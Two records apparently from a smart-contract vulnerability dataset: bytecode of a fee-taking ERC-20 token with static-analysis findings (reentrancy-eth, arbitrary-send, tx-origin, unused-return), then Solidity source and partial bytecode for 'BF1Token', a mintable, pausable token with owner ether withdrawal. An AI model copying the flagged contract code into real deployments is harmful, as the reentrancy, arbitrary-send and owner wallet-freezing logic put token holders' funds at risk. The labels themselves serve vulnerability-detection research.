0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105a3578063db92dbb6146105b8578063dcb0e0ad146105cd578063dd62ed3e146105ed578063e8078d941461063357600080fd5b806395d89b4114610529578063a9059cbb14610558578063b2131f7d14610578578063c3c8cd801461058e57600080fd5b8063715018a6116100dc578063715018a6146104b65780637a49cddb146104cb5780638da5cb5b146104eb57806394b8d8f21461050957600080fd5b8063509016171461044b578063590f897e1461046b5780636fc3eaec1461048157806370a082311461049657600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a457806340b9a54b146103dd57806345596e2e146103f357806349bd5a5e1461041357600080fd5b806327f3a72a14610332578063313ce5671461034757806331c2d8471461036e57806332d873d81461038e57600080fd5b80630b78f9c0116101c15780630b78f9c0146102c057806318160ddd146102e05780631940d020146102fc57806323b872dd1461031257600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026e578063095ea7b31461029057600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d412048756e74657273204567677360901b81525081565b60405161021e9190611bc5565b34801561027a57600080fd5b5061028e610289366004611c3f565b610648565b005b34801561029c57600080fd5b506102b06102ab366004611c5c565b6106bd565b604051901515815260200161021e565b3480156102cc57600080fd5b5061028e6102db366004611c88565b6106d3565b3480156102ec57600080fd5b50683635c9adc5dea00000610214565b34801561030857600080fd5b50610214600f5481565b34801561031e57600080fd5b506102b061032d366004611caa565b610756565b34801561033e57600080fd5b5061021461083e565b34801561035357600080fd5b5061035c600981565b60405160ff909116815260200161021e565b34801561037a57600080fd5b5061028e610389366004611d01565b61084e565b34801561039a57600080fd5b5061021460105481565b3480156103b057600080fd5b506102b06103bf366004611c3f565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e957600080fd5b50610214600b5481565b3480156103ff57600080fd5b5061028e61040e366004611dc6565b6108da565b34801561041f57600080fd5b50600a54610433906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045757600080fd5b5061028e610466366004611c3f565b61099e565b34801561047757600080fd5b50610214600c5481565b34801561048d57600080fd5b5061028e610a0c565b3480156104a257600080fd5b506102146104b1366004611c3f565b610a39565b3480156104c257600080fd5b5061028e610a54565b3480156104d757600080fd5b5061028e6104e6366004611d01565b610ac8565b3480156104f757600080fd5b506000546001600160a01b0316610433565b34801561051557600080fd5b506011546102b09062010000900460ff1681565b34801561053557600080fd5b506102616040518060400160405280600381526020016243414560e81b81525081565b34801561056457600080fd5b506102b0610573366004611c5c565b610bd7565b34801561058457600080fd5b50610214600d5481565b34801561059a57600080fd5b5061028e610be4565b3480156105af57600080fd5b5061028e610c1a565b3480156105c457600080fd5b50610214610cb6565b3480156105d957600080fd5b5061028e6105e8366004611ded565b610cce565b3480156105f957600080fd5b50610214610608366004611e0a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063f57600080fd5b5061028e610d4b565b6008546001600160a01b0316336001600160a01b03161461066857600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106ca338484611092565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f357600080fd5b600a82111561070157600080fd5b600a81111561070f57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078457506001600160a01b03831660009081526004602052604090205460ff16155b801561079d5750600a546001600160a01b038581169116145b156107ec576001600160a01b03831632146107ec5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f78484846111b6565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610826908490611e59565b9050610833853383611092565b506001949350505050565b600061084930610a39565b905090565b6008546001600160a01b0316336001600160a01b03161461086e57600080fd5b60005b81518110156108d65760006006600084848151811061089257610892611e70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ce81611e86565b915050610871565b5050565b6000546001600160a01b031633146109045760405162461bcd60e51b81526004016107e390611e9f565b6008546001600160a01b0316336001600160a01b03161461092457600080fd5b600081116109695760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e3565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b2565b6009546001600160a01b0316336001600160a01b0316146109be57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b2565b6008546001600160a01b0316336001600160a01b031614610a2c57600080fd5b47610a3681611824565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7e5760405162461bcd60e51b81526004016107e390611e9f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ae857600080fd5b60005b81518110156108d657600a5482516001600160a01b0390911690839083908110610b1757610b17611e70565b60200260200101516001600160a01b031614158015610b68575060075482516001600160a01b0390911690839083908110610b5457610b54611e70565b60200260200101516001600160a01b031614155b15610bc557600160066000848481518110610b8557610b85611e70565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bcf81611e86565b915050610aeb565b60006106ca3384846111b6565b6008546001600160a01b0316336001600160a01b031614610c0457600080fd5b6000610c0f30610a39565b9050610a36816118a9565b6000546001600160a01b03163314610c445760405162461bcd60e51b81526004016107e390611e9f565b60115460ff1615610c915760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e3565b6011805460ff19166001179055426010556801a055690d9db80000600e819055600f55565b600a54600090610849906001600160a01b0316610a39565b6000546001600160a01b03163314610cf85760405162461bcd60e51b81526004016107e390611e9f565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b2565b6000546001600160a01b03163314610d755760405162461bcd60e51b81526004016107e390611e9f565b60115460ff1615610dc25760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e3565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dff3082683635c9adc5dea00000611092565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e619190611ed4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed29190611ed4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f439190611ed4565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7381610a39565b600080610f886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110159190611ef1565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d69190611f1f565b6001600160a01b0383166110f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e3565b6001600160a01b0382166111555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661121a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e3565b6001600160a01b03821661127c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e3565b600081116112de5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e3565b6001600160a01b03831660009081526006602052604090205460ff16156113535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e3565b600080546001600160a01b0385811691161480159061138057506000546001600160a01b03848116911614155b156117c557600a546001600160a01b0385811691161480156113b057506007546001600160a01b03848116911614155b80156113d557506001600160a01b03831660009081526004602052604090205460ff16155b156116615760115460ff1661142c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e3565b601054420361146b5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e3565b42601054610e1061147c9190611f3c565b11156114f657600f5461148e84610a39565b6114989084611f3c565b11156114f65760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e3565b6001600160a01b03831660009081526005602052604090206001015460ff1661155e576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861156e9190611f3c565b111561164257600e548211156115c65760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e3565b6115d142600f611f3c565b6001600160a01b038416600090815260056020526040902054106116425760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e3565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff1615801561167b575060115460ff165b80156116955750600a546001600160a01b03858116911614155b156117c5576116a542600f611f3c565b6001600160a01b038516600090815260056020526040902054106117175760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e3565b600061172230610a39565b905080156117ae5760115462010000900460ff16156117a557600d54600a5460649190611757906001600160a01b0316610a39565b6117619190611f54565b61176b9190611f73565b8111156117a557600d54600a546064919061178e906001600160a01b0316610a39565b6117989190611f54565b6117a29190611f73565b90505b6117ae816118a9565b4780156117be576117be47611824565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180757506001600160a01b03841660009081526004602052604090205460ff165b15611810575060005b61181d8585858486611a1d565b5050505050565b6008546001600160a01b03166108fc61183e600284611f73565b6040518115909202916000818181858888f19350505050158015611866573d6000803e3d6000fd5b506009546001600160a01b03166108fc611881600284611f73565b6040518115909202916000818181858888f193505050501580156108d6573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118ed576118ed611e70565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611946573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196a9190611ed4565b8160018151811061197d5761197d611e70565b6001600160a01b0392831660209182029290920101526007546119a39130911684611092565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119dc908590600090869030904290600401611f95565b600060405180830381600087803b1580156119f657600080fd5b505af1158015611a0a573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a298383611a3f565b9050611a3786868684611a86565b505050505050565b6000808315611a7f578215611a575750600b54611a7f565b50600c54601054611a6a90610384611f3c565b421015611a7f57611a7c600582611f3c565b90505b9392505050565b600080611a938484611b63565b6001600160a01b0388166000908152600260205260409020549193509150611abc908590611e59565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611aec908390611f3c565b6001600160a01b038616600090815260026020526040902055611b0e81611b97565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5391815260200190565b60405180910390a3505050505050565b600080806064611b738587611f54565b611b7d9190611f73565b90506000611b8b8287611e59565b96919550909350505050565b30600090815260026020526040902054611bb2908290611f3c565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bf257858101830151858201604001528201611bd6565b81811115611c04576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3657600080fd5b8035611c3a81611c1a565b919050565b600060208284031215611c5157600080fd5b8135611a7f81611c1a565b60008060408385031215611c6f57600080fd5b8235611c7a81611c1a565b946020939093013593505050565b60008060408385031215611c9b57600080fd5b50508035926020909101359150565b600080600060608486031215611cbf57600080fd5b8335611cca81611c1a565b92506020840135611cda81611c1a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1457600080fd5b823567ffffffffffffffff80821115611d2c57600080fd5b818501915085601f830112611d4057600080fd5b813581811115611d5257611d52611ceb565b8060051b604051601f19603f83011681018181108582111715611d7757611d77611ceb565b604052918252848201925083810185019188831115611d9557600080fd5b938501935b82851015611dba57611dab85611c2f565b84529385019392850192611d9a565b98975050505050505050565b600060208284031215611dd857600080fd5b5035919050565b8015158114610a3657600080fd5b600060208284031215611dff57600080fd5b8135611a7f81611ddf565b60008060408385031215611e1d57600080fd5b8235611e2881611c1a565b91506020830135611e3881611c1a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6b57611e6b611e43565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9857611e98611e43565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee657600080fd5b8151611a7f81611c1a565b600080600060608486031215611f0657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3157600080fd5b8151611a7f81611ddf565b60008219821115611f4f57611f4f611e43565b500190565b6000816000190483118215151615611f6e57611f6e611e43565b500290565b600082611f9057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe55784516001600160a01b031683529383019391830191600101611fc0565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ffcc3606dcea6e020215ce8a87ff77dc55d8f835740cab9dcc92cdc2b8220f3464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,721 |
0x47e11c5eebd5474a19fc3773059238c8fd6d8189
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
// store tokens
mapping(address => uint256) balances;
// uint256 public totalSupply;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
/*
* @title Energy Block Token
*/
contract BF1Token is BurnableToken, MintableToken, PausableToken {
// Public variables of the token
string public name;
string public symbol;
// decimals is the strongly suggested default, avoid changing it
uint8 public decimals;
function BF1Token() public {
name = "Beautiful1";
symbol = "BF1";
decimals = 18;
totalSupply = 1000000000 * 10 ** uint256(decimals);
// Allocate initial balance to the owner
balances[msg.sender] = totalSupply;
}
// transfer balance to owner
function withdrawEther() onlyOwner public {
owner.transfer(this.balance);
}
// can accept ether
function() payable public {
}
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010957806306fdde0314610138578063095ea7b3146101c857806318160ddd1461022d57806323b872dd14610258578063313ce567146102dd5780633f4ba83a1461030e57806340c10f191461032557806342966c681461038a5780635c975abb146103b757806370a08231146103e65780637362377b1461043d5780637d64bcb4146104545780638456cb59146104835780638da5cb5b1461049a57806395d89b41146104f1578063a9059cbb14610581578063dd62ed3e146105e6578063f2fde38b1461065d575b005b34801561011557600080fd5b5061011e6106a0565b604051808215151515815260200191505060405180910390f35b34801561014457600080fd5b5061014d6106b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610751565b604051808215151515815260200191505060405180910390f35b34801561023957600080fd5b50610242610781565b6040518082815260200191505060405180910390f35b34801561026457600080fd5b506102c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610787565b604051808215151515815260200191505060405180910390f35b3480156102e957600080fd5b506102f26107b9565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031a57600080fd5b506103236107cc565b005b34801561033157600080fd5b50610370600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088c565b604051808215151515815260200191505060405180910390f35b34801561039657600080fd5b506103b560048036038101908080359060200190929190505050610a5e565b005b3480156103c357600080fd5b506103cc610bc1565b604051808215151515815260200191505060405180910390f35b3480156103f257600080fd5b50610427600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd4565b6040518082815260200191505060405180910390f35b34801561044957600080fd5b50610452610c1d565b005b34801561046057600080fd5b50610469610cfb565b604051808215151515815260200191505060405180910390f35b34801561048f57600080fd5b50610498610da7565b005b3480156104a657600080fd5b506104af610e68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fd57600080fd5b50610506610e8e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054657808201518184015260208101905061052b565b50505050905090810190601f1680156105735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058d57600080fd5b506105cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2c565b604051808215151515815260200191505060405180910390f35b3480156105f257600080fd5b50610647600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5c565b6040518082815260200191505060405180910390f35b34801561066957600080fd5b5061069e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe3565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107495780601f1061071e57610100808354040283529160200191610749565b820191906000526020600020905b81548152906001019060200180831161072c57829003601f168201915b505050505081565b6000600360159054906101000a900460ff1615151561076f57600080fd5b610779838361113b565b905092915050565b60005481565b6000600360159054906101000a900460ff161515156107a557600080fd5b6107b084848461122d565b90509392505050565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561082857600080fd5b600360159054906101000a900460ff16151561084357600080fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ea57600080fd5b600360149054906101000a900460ff1615151561090657600080fd5b61091b826000546115ec90919063ffffffff16565b60008190555061097382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ec90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610a6e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610abc57600080fd5b339050610b1182600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160a90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b698260005461160a90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600360159054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610cf8573d6000803e3d6000fd5b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5957600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b600360159054906101000a900460ff16151515610e1f57600080fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f245780601f10610ef957610100808354040283529160200191610f24565b820191906000526020600020905b815481529060010190602001808311610f0757829003601f168201915b505050505081565b6000600360159054906101000a900460ff16151515610f4a57600080fd5b610f548383611623565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561107b57600080fd5b8073ffffffffffffffff